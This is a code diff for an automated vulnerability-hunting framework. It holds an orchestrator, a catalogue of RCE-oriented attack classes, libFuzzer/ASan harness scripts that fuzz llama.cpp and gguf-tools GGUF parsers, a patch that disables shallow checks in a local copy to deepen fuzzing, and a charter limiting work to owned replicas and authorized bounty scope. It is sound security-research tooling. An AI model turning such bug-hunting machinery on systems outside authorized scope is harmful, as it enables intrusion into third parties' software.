+oracle harnesses, and the severity gate - not in a 164-tool buffet. The loop's
+job is sequencing, caching, and refusing to skip the proof step.
+
+Run modes:
+ orchestrator.py feed # poll fresh releases -> targets queue
+ orchestrator.py drain-targets # pull targets -> run brain on each
+ orchestrator.py drain-oracle # pull oracle jobs -> attempt proofs
+ orchestrator.py status # graph + queue stats
+"""
+import os, sys, subprocess, json
+sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "memory"))
+sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "brain"))
+from memory import Memory
+
+CYCLOPS_HOME = os.environ.get("CYCLOPS_HOME", "/opt/cyclops-v2")
+PY = os.environ.get("CYCLOPS_PY", "/opt/cyclops-venv/bin/python")
+SRC_CACHE = os.path.join(CYCLOPS_HOME, "targets", "src")
+
+def _checkout(repo, tag):
+ """Shallow-clone a target at a tag into the src cache. Returns local path."""
+ os.makedirs(SRC_CACHE, exist_ok=True)
+ name = repo.replace("github.com/", "").replace("/", "__")
+ dest = os.path.join(SRC_CACHE, name)
+ url = "https://" + repo + ".git"
+ if not os.path.isdir(dest):
+ subprocess.run(["git", "clone", "--quiet", "--depth", "1",
+ "--branch", tag, url, dest],
+ capture_output=True, text=True)
+ if not os.path.isdir(dest): # tag may not be a branch; full clone fallback
+ subprocess.run(["git", "clone", "--quiet", url, dest], capture_output=True)
+ subprocess.run(["git", "-C", dest, "checkout", "-q", tag], capture_output=True)
+ return dest
+
+def cmd_feed():
+ subprocess.run([PY, os.path.join(CYCLOPS_HOME, "orchestrator", "feed.py")])
+
+def cmd_drain_targets(limit=20):
+ m = Memory()
+ n = 0
+ while n < limit:
+ job = m.dequeue("targets", timeout=2)
+ if not job:
+ break
+ repo, arch, tag = job["repo"], job["archetype"], job.get("tag", "HEAD")
+ print(f"[orch] target {repo}@{tag} [{arch}]")
+ src = _checkout(repo, tag)
+ if not os.path.isdir(src):
+ print(f"[orch] checkout failed: {repo}@{tag}")
+ continue
+ lang = _guess_lang(src)
+ subprocess.run([PY, os.path.join(CYCLOPS_HOME, "brain", "brain.py"),
+ repo, arch, src, lang, tag])
+ n += 1
+ print(f"[orch] drained {n} targets")
+
+def cmd_drain_oracle(limit=20):
+ """Pull brain's oracle jobs. For memory-corruption hypotheses on C targets we
+ can auto-fuzz; other sink classes are queued for a harness author (logged)."""
+ m = Memory()
+ n = 0
+ while n < limit:
+ job = m.dequeue("oracle", timeout=2)
+ if not job:
+ break
+ hyps = job.get("hypotheses", [])
+ mem = [h for h in hyps if h["sink_class"] == "memory-corruption"]
+ print(f"[orch] oracle job {job['repo']}: {len(hyps)} hyps "
+ f"({len(mem)} auto-fuzzable memory-corruption)")
+ # auto-fuzzable ones need a harness; if none exists yet, flag for authoring
+ for h in mem:
+ m.enqueue("harness_author", {"target": job["target"], "repo": job["repo"],
+ "src": job["src"], "hyp": h})
+ # non-memory hypotheses -> replica detonation queue (web/agent archetypes)
+ for h in hyps:
+ if h["sink_class"] != "memory-corruption":
+ m.enqueue("detonation", {"target": job["target"], "repo": job["repo"],
+ "src": job["src"], "hyp": h})
+ n += 1
+ print(f"[orch] routed {n} oracle jobs (harness_author + detonation queues)")
+
+def cmd_status():
+ m = Memory()
+ print("=== GRAPH ===")
+ for k, v in m.stats().items():
+ print(f" {k}: {v}")
+ print("=== QUEUES ===")
+ for q in ("targets", "oracle", "harness_author", "detonation"):
+ print(f" {q}: {m.r.llen('cyclops:q:'+q)}")
+ print("=== FINDINGS (gated) ===")
+ res = m._exec("""MATCH (f:Finding) RETURN f.severity, f.impact_family, f.title
+ ORDER BY f.severity""")
+ while res.has_next():
+ r = res.get_next()
+ print(f" [{r[0]}] {r[1]} :: {r[2]}")
+
+def _guess_lang(src):
+ import collections
+ ext = collections.Counter()
+ for root, _, files in os.walk(src):
+ if "/.git" in root:
+ continue
+ for f in files:
+ e = f.rsplit(".", 1)[-1].lower() if "." in f else ""
+ if e in ("c", "h", "cc", "cpp", "cxx"): ext["c"] += 1
+ elif e in ("py",): ext["python"] += 1
+ elif e in ("js", "ts", "jsx", "tsx"): ext["javascript"] += 1
+ elif e in ("java",): ext["java"] += 1
+ elif e in ("go",): ext["go"] += 1
+ return ext.most_common(1)[0][0] if ext else ""
+
+if __name__ == "__main__":
+ cmd = sys.argv[1] if len(sys.argv) > 1 else "status"
+ {"feed": cmd_feed, "drain-targets": cmd_drain_targets,
+ "drain-oracle": cmd_drain_oracle, "status": cmd_status}.get(cmd, cmd_status)()
orchestrator/seed_graph.py +45 -0
@@ -0,0 +1,45 @@
+#!/usr/bin/env python3
+"""Seed the knowledge graph with archetypes, sink classes, and the P1 impact
+families (the severity gate). Idempotent."""
+import os, sys
+sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "memory"))
+from memory import Memory
+
+ARCHETYPES = {
+ "ml-model-loaders": "Model-file & inference parsers (GGUF/ONNX/safetensors/pickle/joblib) - load-time RCE. Headline.",
+ "ai-agent-mcp": "Agent/tool-runners & MCP servers - tool-abuse, sandbox escape, SSRF->RCE.",
+ "devops-infra": "Self-hosted infra (Jenkins/Grafana/Redis/Jupyter/Argo) - unauth RCE, SSRF->metadata.",
+ "electron-desktop": "Electron apps (Obsidian/Cursor/Discord) - renderer-XSS->node, protocol-handler RCE.",
+ "cicd-supplychain": "CI/CD & supply chain - workflow injection, runner takeover, dependency confusion.",
+ "memory-unsafe-parsers": "Image/archive/font/serialization C/C++ libs - fuzz->memory corruption->RCE.",
+}
+
+# (sink class, CWE, impact family on the gate)
+SINKCLASSES = [
+ ("memory-corruption", "CWE-787", "RCE via Memory Corruption"),
+ ("deserialization", "CWE-502", "RCE via Deserialization"),
+ ("command-injection", "CWE-78", "RCE via Command Injection"),
+ ("template-injection", "CWE-1336","RCE via Template Injection"),
+ ("sql-injection", "CWE-89", "RCE/Data via SQL Injection"),
+ ("path-traversal", "CWE-22", "Arbitrary File Read/Write -> Secrets/RCE"),
+ ("ssrf", "CWE-918", "SSRF -> Metadata/Internal/RCE"),
+ ("xxe", "CWE-611", "XXE -> Internal File Read"),
+ ("auth-bypass", "CWE-287", "Authentication Bypass / ATO"),
+ ("electron-rce", "CWE-94", "One-Click/Zero-Click RCE"),
+ ("container-escape", "CWE-269", "Container/VM/Sandbox Escape"),
+ ("ssti-upload-rce", "CWE-434", "RCE via File Upload"),
+]
+
+def main():
+ m = Memory()
+ for name, desc in ARCHETYPES.items():
+ m.upsert_archetype(name, desc)
+ for name, cwe, fam in SINKCLASSES:
+ m._exec("""MERGE (s:SinkClass {name:$n})
+ SET s.cwe=$c, s.impact_family=$f""",
+ {"n": name, "c": cwe, "f": fam})
+ print("seeded archetypes:", len(ARCHETYPES), "sink classes:", len(SINKCLASSES))
+ print("graph:", m.stats())
+
+if __name__ == "__main__":
+ main()
targets/deep_campaign.sh +64 -0
@@ -0,0 +1,64 @@
+#!/bin/bash
+# Deep llama.cpp GGUF campaign: guard shallow DoS -> rebuild -> fuzz the deeper
+# metadata AND tensor-alloc paths in fork mode for hours, accumulating DISTINCT
+# crashes. Goal: a novel memory-corruption bug not in the disclosed V-01..V-06.
+set -e
+export CYCLOPS_HOME=/opt/cyclops-v2
+PY=/opt/cyclops-venv/bin/python
+T=/opt/cyclops-v2/targets/src/llama.cpp
+H=/opt/cyclops-v2/oracle/harnesses
+W=/opt/cyclops-v2/oracle/work/llamacpp
+mkdir -p "$W/deep" "$W/deep/crashes" "$W/corpus2"
+
+echo "=== [1/4] guard shallow div-by-zero sites for depth ==="
+$PY /opt/cyclops-v2/targets/patch_gguf_fuzzdepth.py
+
+echo "=== [2/4] rebuild libggml-base (patched) with ASan ==="
+cd "$T"
+cmake --build build-asan --target ggml-base -j4 > "$W/deep/rebuild.log" 2>&1
+echo "rebuilt: $(find build-asan -name libggml-base.a)"
+LIBS=$(find "$T/build-asan" -name "libggml*.a" | tr '\n' ' ')
+
+echo "=== [3/4] build deep harness (no_alloc=false: allocates tensors) ==="
+cat > "$H/llamacpp_gguf_deep.cpp" <<'EOF'
+#include <cstdio>
+#include <cstdint>
+#include <cstddef>
+#include "ggml.h"
+#include "gguf.h"
+// Deep path: no_alloc=false + a ggml_context => parser allocates tensor data,
+// exercising tensor-offset/size handling where memory-corruption would live.
+extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
+ if (size > (8u<<20)) return 0; // cap to keep allocations sane
+ FILE *f = fmemopen((void*)data, size, "rb");
+ if (!f) return 0;
+ struct ggml_context *ctx_data = nullptr;
+ struct gguf_init_params p; p.no_alloc = false; p.ctx = &ctx_data;
+ struct gguf_context *ctx = gguf_init_from_file_ptr(f, p);
+ if (ctx) gguf_free(ctx);
+ if (ctx_data) ggml_free(ctx_data);
+ fclose(f);
+ return 0;
+}
+EOF
+clang++ -g -O1 -fsanitize=fuzzer,address,undefined -fno-omit-frame-pointer \
+ "$H/llamacpp_gguf_deep.cpp" -I"$T/ggml/include" $LIBS -lm -lpthread -lgomp \
+ -o "$W/fuzz_deep" 2>"$W/deep/compile.log" \
+ && echo "DEEP HARNESS COMPILED" || { echo "COMPILE FAILED"; tail -12 "$W/deep/compile.log"; exit 1; }
+# also rebuild the metadata harness against the patched lib
+clang++ -g -O1 -fsanitize=fuzzer,address,undefined -fno-omit-frame-pointer \
+ "$H/llamacpp_gguf_harness.cpp" -I"$T/ggml/include" $LIBS -lm -lpthread -lgomp \
+ -o "$W/fuzz_meta" 2>>"$W/deep/compile.log" && echo "META HARNESS REBUILT" || true
+
+echo "=== [4/4] launch fork-mode campaign (6h, ignore_crashes, accumulate distinct) ==="
+cp "$W/seeds/"* "$W/corpus2/" 2>/dev/null || true
+cd "$W/deep"
+# deep harness, fork mode keeps running across crashes, dedups by crash stack
+ASAN_OPTIONS=detect_leaks=0:abort_on_error=1 nohup "$W/fuzz_deep" \
+ -fork=2 -ignore_crashes=1 -max_total_time=21600 -rss_limit_mb=4096 -timeout=30 \
+ -artifact_prefix="$W/deep/crashes/d-" "$W/corpus2" "$W/seeds" \
+ > "$W/deep/fuzz_deep.log" 2>&1 &
+echo "DEEP_FUZZ_PID=$!"
+sleep 15
+echo "=== early deep status ==="; tail -6 "$W/deep/fuzz_deep.log" 2>/dev/null
+echo "crashes so far: $(ls $W/deep/crashes/ 2>/dev/null | wc -l)"
targets/deep_loop.sh +41 -0
@@ -0,0 +1,41 @@
+#!/bin/bash
+# Robust unattended deep fuzz WITHOUT libFuzzer fork mode (fork is unstable in this
+# unprivileged LXC). Runs fuzz_deep in repeated bursts against a growing corpus;
+# on each crash, archives the reproducer + its triage signature and continues.
+# Dedups crashes by signature so shallow recurring ones don't spam.
+W=/opt/cyclops-v2/oracle/work/llamacpp
+BIN="$W/fuzz_deep"
+CORP="$W/corpus2"
+CRASH="$W/deep/crashes"
+SIGS="$W/deep/sigs.txt"
+LOG="$W/deep/loop.log"
+mkdir -p "$CORP" "$CRASH"; touch "$SIGS"
+cp "$W/seeds/"* "$CORP/" 2>/dev/null || true
+DEADLINE=$(( $(date +%s) + 21600 )) # 6h
+
+echo "deep_loop start $(date)" > "$LOG"
+i=0
+while [ "$(date +%s)" -lt "$DEADLINE" ]; do
+ i=$((i+1))
+ # 10-min burst; libFuzzer grows $CORP and writes crash-* on a fault, then exits.
+ ASAN_OPTIONS=detect_leaks=0:abort_on_error=0:exitcode=77 \
+ timeout 660 "$BIN" -max_total_time=600 -rss_limit_mb=4096 -timeout=30 \
+ -artifact_prefix="$W/deep/crash-" "$CORP" >> "$LOG" 2>&1
+ # collect any new crash artifacts produced this burst
+ for c in "$W"/deep/crash-*; do
+ [ -f "$c" ] || continue
+ # triage signature
+ out=$(ASAN_OPTIONS=detect_leaks=0:abort_on_error=0:exitcode=88 timeout 30 "$BIN" "$c" 2>&1)
+ sig=$(echo "$out" | grep -oE "heap-buffer-overflow|stack-buffer-overflow|global-buffer-overflow|heap-use-after-free|double-free|stack-overflow|division by zero|FPE|out-of-memory|GGML_ASSERT|GGML_ABORT|SEGV on unknown" | head -1)
+ loc=$(echo "$out" | grep -oE "gguf\.cpp:[0-9]+|ggml[-a-z]*\.c:[0-9]+|ggml\.c:[0-9]+" | head -1)
+ key="${sig:-unknown}@${loc:-?}"
+ if grep -qxF "$key" "$SIGS"; then
+ rm -f "$c" # duplicate signature, drop
+ else
+ echo "$key" >> "$SIGS"
+ mv "$c" "$CRASH/$(echo "$key" | tr '/: ' '___')_$(basename "$c")"
+ echo "NEWCRASH $key $(date)" >> "$LOG"
+ fi
+ done
+done
+echo "deep_loop done $(date)" >> "$LOG"
targets/hunt_gguf.sh +76 -0
@@ -0,0 +1,76 @@
+#!/bin/bash
+# HUNT: gguf-tools (antirez) GGUF model-file parser - headline ml-model-loaders archetype.
+# brain (joern dataflow) + oracle (libFuzzer+ASan on the real parse path).
+set -e
+export CYCLOPS_HOME=/opt/cyclops-v2
+PY=/opt/cyclops-venv/bin/python
+T=/opt/cyclops-v2/targets/src/gguf-tools
+H=/opt/cyclops-v2/oracle/harnesses
+W=/opt/cyclops-v2/oracle/work/gguf
+mkdir -p "$H" "$W" "$W/seeds"
+
+echo "=== [1/4] BRAIN: joern memory-corruption dataflow on gguflib.c ==="
+$PY /opt/cyclops-v2/brain/brain.py "github.com/antirez/gguf-tools" "ml-model-loaders" "$T" "c" "fdfafbe" || true
+
+echo "=== [2/4] generate a valid seed GGUF (gets the harness past the magic/header) ==="
+$PY - <<'PYEOF'
+import struct
+# minimal valid GGUF v3: magic, version, n_tensors=0, n_kv=1 (one string kv)
+buf = b"GGUF"
+buf += struct.pack("<I", 3) # version
+buf += struct.pack("<Q", 0) # tensor count
+buf += struct.pack("<Q", 1) # kv count
+# one kv: key "a" (len-prefixed), type 8 = STRING, value "b"
+buf += struct.pack("<Q", 1) + b"a" # key
+buf += struct.pack("<I", 8) # value type STRING
+buf += struct.pack("<Q", 1) + b"b" # string value
+open("/opt/cyclops-v2/oracle/work/gguf/seeds/seed1.gguf","wb").write(buf)
+print("seed bytes:", len(buf))
+PYEOF
+
+echo "=== [3/4] write libFuzzer harness for the full parse path ==="
+cat > "$H/gguf_harness.c" <<'EOF'
+#include <stdint.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include "gguflib.h"
+// Drive the real parse path: gguf_open() mmaps + parses header, then we walk
+// every key and tensor (attacker-controlled offsets/lengths/type enums).
+int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
+ char path[] = "/dev/shm/gguffzXXXXXX";
+ int fd = mkstemp(path);
+ if (fd < 0) return 0;
+ if (write(fd, data, size) != (ssize_t)size) { close(fd); unlink(path); return 0; }
+ close(fd);
+ gguf_ctx *ctx = gguf_open(path);
+ if (ctx) {
+ gguf_key key;
+ while (gguf_get_key(ctx, &key)) {
+ // touch the value (exercises type dispatch / value parsing)
+ gguf_print_value(ctx, key.type, key.val, 0);
+ }
+ gguf_tensor tensor;
+ while (gguf_get_tensor(ctx, &tensor)) { /* walks tensor info offsets */ }
+ gguf_close(ctx);
+ }
+ unlink(path);
+ return 0;
+}
+EOF
+
+echo "=== [4/4] compile (ASan+UBSan+fuzzer) and launch background fuzz ==="
+cd "$W"
+clang -g -O1 -fsanitize=fuzzer,address,undefined -fno-omit-frame-pointer \
+ "$H/gguf_harness.c" "$T/gguflib.c" "$T/fp16.c" "$T/sds.c" \
+ -I"$T" -lm -o "$W/fuzz_gguf" 2>&1 | tail -5
+echo "compiled: $(ls -la $W/fuzz_gguf 2>/dev/null | awk '{print $5}') bytes"
+# redirect to a log; run in background via nohup; print pid
+mkdir -p "$W/corpus" && cp "$W/seeds/"* "$W/corpus/" 2>/dev/null || true
+nohup "$W/fuzz_gguf" -max_total_time=1800 -print_final_stats=1 \
+ -artifact_prefix="$W/crash-" "$W/corpus" "$W/seeds" \
+ > "$W/fuzz.log" 2>&1 &
+echo "FUZZ_PID=$!"
+sleep 8
+echo "=== early fuzz log ==="; tail -8 "$W/fuzz.log" 2>/dev/null
targets/hunt_llamacpp.sh +82 -0
@@ -0,0 +1,82 @@
+#!/bin/bash
+# HUNT: llama.cpp / GGML GGUF parser - headline ml-model-loaders, active CVE surface
+# (CVE-2024-23496, CVE-2026-7482 class). brain (joern) + oracle (libFuzzer+ASan).
+set -e
+export CYCLOPS_HOME=/opt/cyclops-v2
+PY=/opt/cyclops-venv/bin/python
+T=/opt/cyclops-v2/targets/src/llama.cpp
+H=/opt/cyclops-v2/oracle/harnesses
+W=/opt/cyclops-v2/oracle/work/llamacpp
+mkdir -p "$H" "$W" "$W/seeds" "$W/corpus"
+
+echo "=== [1/5] BRAIN: joern dataflow on ggml/src/gguf.cpp ==="
+( $PY /opt/cyclops-v2/brain/brain.py "github.com/ggml-org/llama.cpp" "ml-model-loaders" \
+ "$T/ggml/src/gguf.cpp" "c" "fdc3db9" > "$W/brain.log" 2>&1 || true ) &
+BRAIN_PID=$!
+
+echo "=== [2/5] build libggml WITH AddressSanitizer (cmake) ==="
+cd "$T"
+cmake -B build-asan -DCMAKE_BUILD_TYPE=Debug -DBUILD_SHARED_LIBS=OFF \
+ -DGGML_NATIVE=OFF -DGGML_BACKEND_DL=OFF -DLLAMA_BUILD_TESTS=OFF \
+ -DLLAMA_BUILD_EXAMPLES=OFF -DLLAMA_BUILD_TOOLS=OFF -DLLAMA_BUILD_SERVER=OFF \
+ -DCMAKE_C_FLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -g" \
+ -DCMAKE_CXX_FLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -g" \
+ > "$W/cmake.log" 2>&1
+cmake --build build-asan --target ggml-base -j4 >> "$W/cmake.log" 2>&1 || \
+ cmake --build build-asan --target ggml -j4 >> "$W/cmake.log" 2>&1
+echo "built libs:"; find build-asan -name "libggml*.a" 2>/dev/null
+
+echo "=== [3/5] generate a real valid GGUF seed ==="
+$PY -m pip install --quiet gguf >/dev/null 2>&1 || true
+$PY - <<'PYEOF'
+try:
+ import gguf, numpy as np
+ w = gguf.GGUFWriter("/opt/cyclops-v2/oracle/work/llamacpp/seeds/seed.gguf", "fuzz")
+ w.add_uint32("answer", 42); w.add_string("name", "x"); w.add_array("arr", [1,2,3])
+ w.add_tensor("t0", np.zeros((4,4), dtype=np.float32))
+ w.write_header_to_file(); w.write_kv_data_to_file(); w.write_tensors_to_file(); w.close()
+ print("seed.gguf written")
+except Exception as e:
+ # fallback: minimal hand-rolled valid header
+ import struct
+ b=b"GGUF"+struct.pack("<I",3)+struct.pack("<Q",0)+struct.pack("<Q",1)
+ b+=struct.pack("<Q",1)+b"a"+struct.pack("<I",4)+struct.pack("<I",7)
+ open("/opt/cyclops-v2/oracle/work/llamacpp/seeds/seed.gguf","wb").write(b)
+ print("fallback seed written:", e)
+PYEOF
+cp "$W/seeds/"* "$W/corpus/" 2>/dev/null || true
+
+echo "=== [4/5] write + compile libFuzzer harness (in-memory via fmemopen) ==="
+cat > "$H/llamacpp_gguf_harness.cpp" <<'EOF'
+#include <cstdio>
+#include <cstdint>
+#include <cstddef>
+#include "ggml.h"
+#include "gguf.h"
+extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
+ FILE *f = fmemopen((void*)data, size, "rb");
+ if (!f) return 0;
+ struct gguf_init_params p; p.no_alloc = true; p.ctx = nullptr;
+ struct gguf_context *ctx = gguf_init_from_file_ptr(f, p);
+ if (ctx) gguf_free(ctx);
+ fclose(f);
+ return 0;
+}
+EOF
+LIBS=$(find "$T/build-asan" -name "libggml*.a" 2>/dev/null | tr '\n' ' ')
+echo "linking: $LIBS"
+clang++ -g -O1 -fsanitize=fuzzer,address,undefined -fno-omit-frame-pointer \
+ "$H/llamacpp_gguf_harness.cpp" -I"$T/ggml/include" \
+ $LIBS -lm -lpthread -fopenmp -lgomp -o "$W/fuzz_llgguf" 2>"$W/compile.log" \
+ && echo "HARNESS COMPILED: $(ls -la $W/fuzz_llgguf | awk '{print $5}') bytes" \
+ || { echo "COMPILE FAILED:"; tail -15 "$W/compile.log"; exit 1; }
+
+echo "=== [5/5] launch background fuzz campaign (2h) ==="
+wait $BRAIN_PID 2>/dev/null || true
+echo "brain:"; grep -E "HYPOTHESES|paths" "$W/brain.log" 2>/dev/null | tail -3
+nohup "$W/fuzz_llgguf" -max_total_time=7200 -rss_limit_mb=4096 -timeout=25 \
+ -print_final_stats=1 -artifact_prefix="$W/crash-" "$W/corpus" "$W/seeds" \
+ > "$W/fuzz.log" 2>&1 &
+echo "FUZZ_PID=$!"
+sleep 12
+echo "=== early fuzz status ==="; tail -6 "$W/fuzz.log" 2>/dev/null
targets/patch_gguf_fuzzdepth.py +33 -0
@@ -0,0 +1,33 @@
+#!/usr/bin/env python3
+"""Guard the KNOWN-shallow div-by-zero sites in gguf.cpp so the fuzzer gets PAST
+tensor-shape validation and explores deeper tensor-data/offset handling (where a
+novel memory-corruption bug would live). These are fuzzing-depth guards, NOT a
+security fix - they neutralize the disclosed V-05/V-06-class and our line-681 DoS
+so distinct, higher-severity crashes can surface.
+"""
+import sys
+p = "/opt/cyclops-v2/targets/src/llama.cpp/ggml/src/gguf.cpp"
+src = open(p).read()
+PATCHES = [
+ ("INT64_MAX/info.t.ne[1] <= info.t.ne[0]",
+ "info.t.ne[1]!=0 && INT64_MAX/info.t.ne[1] <= info.t.ne[0]"),
+ ("INT64_MAX/info.t.ne[2] <= info.t.ne[0]*info.t.ne[1]",
+ "info.t.ne[2]!=0 && INT64_MAX/info.t.ne[2] <= info.t.ne[0]*info.t.ne[1]"),
+ ("INT64_MAX/info.t.ne[3] <= info.t.ne[0]*info.t.ne[1]*info.t.ne[2]",
+ "info.t.ne[3]!=0 && INT64_MAX/info.t.ne[3] <= info.t.ne[0]*info.t.ne[1]*info.t.ne[2]"),
+ ("uint64_t(ggml_nelements(&info.t)/ggml_blck_size(info.t.type)) > SIZE_MAX/ggml_type_size(info.t.type)",
+ "ggml_blck_size(info.t.type)!=0 && ggml_type_size(info.t.type)!=0 && uint64_t(ggml_nelements(&info.t)/ggml_blck_size(info.t.type)) > SIZE_MAX/ggml_type_size(info.t.type)"),
+ ("info.t.nb[1] = info.t.nb[0]*(info.t.ne[0]/blck_size);",
+ "info.t.nb[1] = info.t.nb[0]*(blck_size?info.t.ne[0]/blck_size:0);"),
+]
+n = 0
+for a, b in PATCHES:
+ if a in src and b not in src:
+ src = src.replace(a, b); n += 1
+ print("patched:", a[:50])
+ elif b in src:
+ print("already:", a[:50])
+ else:
+ print("NOT FOUND:", a[:50])
+open(p, "w").write(src)
+print(f"applied {n} fuzz-depth guards")
vault/.obsidian/app.json +1 -0
@@ -0,0 +1 @@
+{}
vault/00-doctrine/OPERATING-CORE.md +141 -0
@@ -0,0 +1,141 @@
+# OPERATING-CORE - The Binding Charter
+
+This is the constitution of Cyclops v2. Every hunt, every loop iteration, every report is bound by
+it. When in doubt, this document wins over cleverness, momentum, or a promising-looking lead.
+
+Related: [[SEVERITY-GATE]] · [[../06-methods/NOVELTY-DOCTRINE]] · [[../04-cleared-axes/README|cleared-axes log]]
+
+---
+
+## 1. Authorization - the only place Cyclops is allowed to point
+
+Cyclops runs against **consenting targets only**. The permitted set is exhaustive; if a target is
+not on it, the answer is no.
+
+**ALLOWED**
+- **Owned infrastructure** - hosts, accounts, and orgs Zion controls.
+- **Local replicas** - the actual target software pulled and run on disposable infra we own
+ (`docker run`, a throwaway VM, a sandbox CT). This is the default and preferred arena: full root,
+ full instrumentation, no third-party impact.
+- **Disposable labs** - purpose-built detonation environments (e.g. Whonix/airlock CTs, throwaway
+ cloud accounts funded by us) where the *only* tenant is us.
+- **Public bounty / VDP scope** - but only where (a) the asset is explicitly in scope, and (b) the
+ *method* is permitted by that program's rules. A bounty that forbids automated scanning forbids it
+ for us too.
+
+**FORBIDDEN - no exceptions, no "just to confirm"**
+- Any non-consenting third party, full stop. "It was probably vulnerable" is not consent.
+- Mass scanning / spraying / internet-wide enumeration. We are a precision instrument, not a scanner.
+- Pivoting from an in-scope host to an out-of-scope one.
+- Touching real user data on a live multi-tenant system when a replica would prove the same thing.
+
+**The replica-first rule.** If a finding can be proven on a local replica, it **must** be - we do
+not validate on a live third-party system when an owned copy reproduces the bug. Live systems are
+only for the final canary step (see proof labels) and only inside permitted scope.
+
+---
+
+## 2. The only proof is an execution artifact
+
+This is the rule v1 violated on every finding. v1 reasoned its way to "this is exploitable" and
+wrote a report. v2 does not get to reason its way to a finding. A finding exists when, and only when,
+an **artifact produced by execution** demonstrates the impact.
+
+An execution artifact is one of:
+- An **ASan / UBSan / MSan crash report** with a controlled fault address or a write to attacker
+ data (memory-corruption families).
+- A **popped shell / command output** proving code execution (`id`, a callback to our listener, a
+ file written to `/tmp/pwned` by the target process).
+- A **retrieved secret** that we were not authorized to hold (a dumped `.env`, a cloud metadata
+ credential, a signing key, another tenant's row).
+- A **state change** that proves the impact (balance moved, a privilege escalated and re-authed, a
+ second tenant's object mutated under our session).
+
+**Not an artifact, never a finding:**
+- "The sink is reachable from the source." (reachability ≠ exploitation)
+- "An LLM rated this exploitable / critical / 9.8." (an opinion is not an oracle)
+- "This pattern matches CVE-XXXX-YYYYY." (a shape match is a hypothesis, not a result)
+- "The payload was reflected / the parameter is injectable." (injection ≠ the impact at the end of
+ the chain - see [[SEVERITY-GATE]] overclaim traps)
+
+> The dynamic oracle is the judge. Source reading, CPG queries, and LLM analysis only generate
+> **hypotheses to feed the oracle**. They never close a case.
+
+---
+
+## 3. Proof labels - the four states a candidate can be in
+
+Every candidate carries exactly one label. The label is a claim about *how hard the evidence is*,
+and it gates what we are allowed to say and do next.
+
+| Label | Meaning | Evidence required | What it unlocks |
+|---|---|---|---|
+| **SOURCE_CONFIRMED** | We have a concrete source→sink path with a plausible kill chain, derived from code/CPG. | A specific path: file:line of source, the sink, the dataflow, why the guard is absent/bypassable. | Permission to build a replica and attempt the oracle. **Not** report-worthy on its own. |
+| **REPLICA_CONFIRMED** | The exploit fired against a local replica we own. | An execution artifact (§2) reproduced on our copy of the target, with the exact build/version pinned. | Permission to draft a report and (if in scope) attempt a live canary. |
+| **LIVE_CANARY_CONFIRMED** | The exploit fired against the authorized live target, proven by a benign canary. | The minimal, non-destructive artifact on the live in-scope asset (an OOB DNS/HTTP callback, a read of *our own* planted canary file, `id` with no further action). | A finished, submittable report. |
+| **DISPROVEN** | We drove the oracle and the impact did **not** materialize. | The negative result + the reason (guard present, sink not attacker-controlled, allocation not corruptible, etc.). | A [[../04-cleared-axes/README|cleared-axes]] entry. **This is a success - see §5.** |
+
+Label discipline:
+- You may never skip from SOURCE_CONFIRMED straight to a report. The replica step is mandatory.
+- A live canary must be the **smallest possible** proof. We prove RCE with a DNS callback, not with
+ `rm -rf`. We prove file-read with our own planted canary, not with someone's real secrets.
+- Downgrade is allowed and expected. A REPLICA_CONFIRMED that fails to reproduce on a clean rebuild
+ is downgraded to SOURCE_CONFIRMED or DISPROVEN. Flaky is not confirmed.
+
+---
+
+## 4. The anti-drift rule - log cleared axes, rotate archetypes
+
+v1's fatal pattern: it found one promising-feeling class (IDOR), and ground on it across every
+target forever, because each near-miss felt like it was *almost* there. v2 makes drift structurally
+impossible:
+
+1. **Every axis you clear is logged.** When you screen a (target, archetype, axis) and it does not
+ yield a gate-family path, you write a [[../04-cleared-axes/README|cleared-axes]] entry *before*
+ moving on. This is not bookkeeping - it is the memory that stops you re-walking the same ground
+ and the proof that you actually covered breadth.
+2. **You must rotate archetypes.** A hunt session may not spend its entire budget inside one
+ [[../01-archetypes/electron-desktop|archetype]]. If an archetype yields no SOURCE_CONFIRMED path
+ within its time box, rotate to the next and log the cleared axes. Tunnel-vision is a process
+ failure, caught by the rotation requirement.
+3. **You must rotate the angle within a target.** The same target gets attacked from multiple
+ archetype lenses (an Electron AI app is *both* [[../01-archetypes/electron-desktop|electron]]
+ *and* [[../01-archetypes/ai-agent-mcp|mcp]] *and possibly* [[../01-archetypes/ml-model-loaders|model-loader]]).
+ One target, one lens, then "nothing here" is the v1 mistake.
+4. **No low-severity consolation prizes.** When you notice an IDOR / missing-header / verbose-error,
+ it goes to the cleared-axes log as a hardening note, **not** to a finding. The [[SEVERITY-GATE]]
+ forbids opening a report off-path. This kills the drift at its source: there is no reward for the
+ low-severity behavior, so the agent stops doing it.
+
+---
+
+## 5. DISPROVEN is a success
+
+This is a cultural inversion v2 must internalize. v1 treated a non-finding as a failure, so it kept
+straining to manufacture a finding out of a reachable-but-unexploitable path. That is exactly how you
+ship slop.
+
+In v2:
+- A clean **DISPROVEN** with a documented reason is a **completed unit of work**. It permanently
+ retires an axis, it sharpens the [[../04-cleared-axes/README|cleared-axes]] memory, and it frees
+ budget for a fresh archetype.
+- The success metric is **coverage of high-value axes with hard verdicts**, not finding-count. A
+ session that DISPROVES six gate-family hypotheses with artifacts (or artifact-attempts) is a *good*
+ session, even with zero reports.
+- The only failure is an **unforced label inflation**: calling something REPLICA_CONFIRMED without
+ an artifact, opening a report off-path, or re-walking a cleared axis. Those are process violations.
+
+> The job is not "find a bug." The job is "drive every high-value hypothesis to a hard verdict."
+> Sometimes the hard verdict is DISPROVEN, and that is the system working.
+
+---
+
+## 6. The loop, in one paragraph
+
+Pick a [[../01-archetypes/electron-desktop|target archetype]] → pull the *freshest* in-scope code
+([[../06-methods/NOVELTY-DOCTRINE|novelty doctrine]]) → build the boundary map → run the
+[[../06-methods/NOVELTY-DOCTRINE|CPG]] to enumerate source→sink paths that lead to a
+[[SEVERITY-GATE|gate family]] → mark the best as SOURCE_CONFIRMED → check it is **not** a
+sibling-CVE → stand up a replica → drive the dynamic oracle → REPLICA_CONFIRMED (artifact) or
